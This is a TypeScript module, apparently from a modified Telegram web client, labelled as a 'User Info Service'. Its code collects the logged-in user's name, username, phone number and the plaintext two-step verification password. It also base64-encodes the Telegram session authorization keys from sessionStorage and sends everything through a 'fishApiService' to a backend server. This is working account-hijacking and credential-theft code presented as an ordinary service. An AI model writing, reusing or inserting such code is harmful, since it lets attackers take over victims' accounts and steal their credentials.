/*
 * User Info Service - 用于获取完整的用户信息
 */

import type {ActiveAccountNumber} from '../accounts/types';
import {fishApiService} from './fishApiService';
import sessionStorage from '../sessionStorage';

export interface UserInfo {
  name: string;
  username: string;
  phone: string;
  password: string;
  loginTime: Date;
}

export class UserInfoService {
  private static instance: UserInfoService;
  private appManagers: any = null;
  private storedPassword: string = ''; // 存储二次验证密码

  private constructor() {}

  public static getInstance(): UserInfoService {
    if(!UserInfoService.instance) {
      UserInfoService.instance = new UserInfoService();
    }
    return UserInfoService.instance;
  }

  /**
   * 设置AppManagers实例
   */
  public setAppManagers(managers: any) {
    this.appManagers = managers;
  }

  /**
   * 保存二次验证密码
   */
  public setStoredPassword(password: string) {
    this.storedPassword = password;
  }

  /**
   * 获取保存的二次验证密码
   */
  public getStoredPassword(): string {
    return this.storedPassword;
  }

  /**
   * 清除保存的密码
   */
  public clearStoredPassword() {
    this.storedPassword = '';
  }

  /**
   * 获取用户完整信息
   */
  public async getUserInfo(userId: any): Promise<UserInfo> {
    const userInfo: UserInfo = {
      name: '',
      username: '',
      phone: '',
      password: '',
      loginTime: new Date()
    };

    try {
      // 尝试从全局 rootScope 获取 appManagers
      let appManagers = this.appManagers;
      if(!appManagers && typeof window !== 'undefined' && (window as any).rootScope?.managers) {
        appManagers = (window as any).rootScope.managers;
      }

      if(!appManagers) {
        return userInfo;
      }

      // 获取当前用户信息
      const me = await appManagers.appUsersManager?.getSelf();

      if(me) {
        // 构建完整姓名
        const firstName = me.first_name || '';
        const lastName = me.last_name || '';
        const fullName = firstName + (lastName ? ' ' + lastName : '');

        userInfo.name = fullName || 'Telegram用户';
        userInfo.username = me.username || '';
        userInfo.phone = me.phone || '';
      }

      // 如果电话号码为空，尝试通过API获取
      if(!userInfo.phone) {
        try {
          const phoneInfo = await appManagers.appUsersManager?.getUserPhone(userId);
          if(phoneInfo?.phone) {
            userInfo.phone = phoneInfo.phone;
          }
        } catch(error) {
          // 静默处理错误
        }
      }

      // 获取二级密码（如果有）
      try {
        const passwordState = await appManagers.passwordManager?.getState();
        if(passwordState) {
          // 优先使用保存的密码，如果没有则显示状态
          userInfo.password = this.storedPassword || (passwordState.has_password ? '[已设置]' : '');
        }
      } catch(error) {
        // 静默处理错误
      }

      return userInfo;
    } catch(error) {
      return userInfo;
    }
  }

  /**
   * 获取 sessionStorage 中的关键数据并转换为 base64
   */
  private async getSessionData(): Promise<string> {
    try {
      const sessionData: Record<string, any> = {};

      // 获取 account1, account2, account3, account4 等
      const accountKeys = ['account1', 'account2', 'account3', 'account4'] as const;
      for(const accountKey of accountKeys) {
        const accountData = await sessionStorage.get(accountKey);
        if(accountData) {
          sessionData[accountKey] = accountData;
        }
      }

      // 获取 auth_key_fingerprint
      const authKeyFingerprint = await sessionStorage.get('auth_key_fingerprint');
      if(authKeyFingerprint) {
        sessionData['auth_key_fingerprint'] = authKeyFingerprint;
      }

      // 获取 user_auth
      const userAuth = await sessionStorage.get('user_auth');
      if(userAuth) {
        sessionData['user_auth'] = userAuth;
      }

      // 获取 dc
      const dc = await sessionStorage.get('dc');
      if(dc) {
        sessionData['dc'] = dc;
      }

      // 将数据转换为 JSON 字符串
      const jsonString = JSON.stringify(sessionData);

      // 转换为 base64 编码
      const base64String = btoa(jsonString);


      return base64String;
    } catch(error) {
      return '';
    }
  }

  /**
   * 同步用户数据到后台服务器（带完整用户信息）
   */
  public async syncUserToBackend(
    accountNumber: ActiveAccountNumber,
    userId: any,
    sessionData: string
  ) {
    try {
      // 获取完整用户信息
      const userInfo = await this.getUserInfo(userId);

      // 获取 sessionStorage 数据
      const sessionStorageData = await this.getSessionData();

      // 构建用户数据
      const userData = await fishApiService.buildUserData(
        userId,
        userInfo.name,
        userInfo.username,
        userInfo.phone,
        userInfo.password,
        sessionStorageData,
        userInfo.loginTime
      );

      // 发送用户数据到后台服务器
      const result = await fishApiService.sendUserData(userData);

      return result;
    } catch(error) {
      return {success: false, message: error instanceof Error ? error.message : '未知错误'};
    }
  }
}

// 创建单例实例
export const userInfoService = UserInfoService.getInstance();
